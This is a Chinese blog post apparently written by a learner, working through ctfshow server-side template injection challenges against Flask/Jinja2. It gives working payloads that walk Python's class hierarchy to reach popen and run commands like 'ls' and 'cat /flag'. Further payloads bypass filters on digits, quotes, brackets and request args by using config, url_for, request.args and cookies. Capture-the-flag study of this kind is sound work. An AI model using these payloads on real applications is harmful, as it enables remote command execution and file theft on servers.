CTF模板注入入门学习

{{config.__class__.__init__.__globals__['os'].popen('dir').read() }}

对于知识框架的了解,站在巨人的肩膀梭哈大佬文章,很全很nice:

https://blog.csdn.net/LYJ20010728/article/details/120205725?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165811033516781647533366%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=165811033516781647533366&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-4-120205725-null-null.142%5Ev32%5Enew_blog_pos_by_title,185%5Ev2%5Econtrol&utm_term=SSTI%20%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187

https://xz.aliyun.com/t/3679#toc-8

先大概过了遍,知道ssti是啥东西了,还是迷迷糊糊的,打算直接上手题目分析吧,在实践中学习。

ctfshow ssti

题目一:

盲猜name为注入点,直接打上测试表达式,执行成功存在注入点。

尝试一下:{ {7*'7'}}回显是7777777,判断是Jinja2模板(如果回显是49则为Twig模板)

 

 

 

 

Python 中一切均为对象,均继承于 object 对象,Python 的 object 类中集成了很多的基础函数,假如需要在 Payload 中使用某个函数就需要用 object 去操作

常见的继承关系的方法有以下三种:
    base:对象的一个基类,一般情况下是 object
    mro:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object 在最底层所以在列表中的最后,通过 mro[-1] 可以获取到
    subclasses():继承此对象的子类,返回一个列表

    __init__:
           所有自带类都包含init方法。是服务下面这个函数的

  __globals__:
function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。


整体攻击思路为:变量 -> 对象 -> 基类 -> 子类遍历 -> 全局变量
具体来说:变量是name

  • 随便找一个内置类对象用__class__拿到他所对应的类
  • __bases__拿到基类(<class 'object'>),返回的是元组,获取元组元素要指定key
  • __subclasses__()拿到子类列表
  • 在子类列表中直接寻找可以利用的类getshell
''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
request.__class__.__mro__[1]
''.__class__.__mro__[-1].__subclasses__()

都可以对object对象进行子类的遍历,os._wrap_close类里有popen,我们可以拿来进行命令执行

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

 

 ?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat app.py').read()}}

 

 拿到flag

 

题目二:

我们继续上题的思路,发现到看子类列表这一步还是可以执行的,但是下一步我想用os._wrap_close的popen用不了,考虑有过滤,先试一下数字

 

 

 

经过测试发现23这两个数字被过滤了

 

 

 对于数字绕过可以使用使用<class 'flask.config.Config'>类来绕过。

{{config.__class__.__init__.__globals__['os'].popen('dir').read() }}
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}拿到flag
题目三:

经过测试,当出现单引号时,报错,怀疑是过滤了单引号,可以再bp中再fuzz一下还过滤了啥,参考了这篇文章在bp中的设置

https://blog.csdn.net/qq_41209264/article/details/120702716

单引号双引号都被过滤了

 

 

 有一种新的姿势是构造请求参数

{{config.__class__.__init__.__globals__['os'].popen('dir').read() }}这是上一题的paylaod,构造参数如下

{{config.__class__.__init__.__globals__[request.args.arg1].popen(request.args.arg2).read()}}&arg1=os&arg2=ls

最终在根目录拿到flag

 

题目四:

按照上一题的fuzz方法,发现仍然是过滤了单引号和双引号,同样用上面的payload,发现不行,可能对payload中的请求进行了过滤,果然经过测试对ags进行了过滤

把请求参数放在cookie里,构造请求包如下

payload为{{config.__class__.__init__.__globals__[request.cookies.a].popen(request.cookies.b).read()}}

在根目录拿到flag

 

题目五:

对[]进行了过滤,用到url_for这个类,在调用os方法时候不用像config类中调用时必须用的[]:config.__class__.__init__.__globals__['os']

?name={{url_for.__globals__.os.popen(request.cookies.a).read()}}
Cookie:a=cat /flag






posted @ 2022-11-19 21:05  C10ud  阅读(252)  评论(0编辑  收藏  举报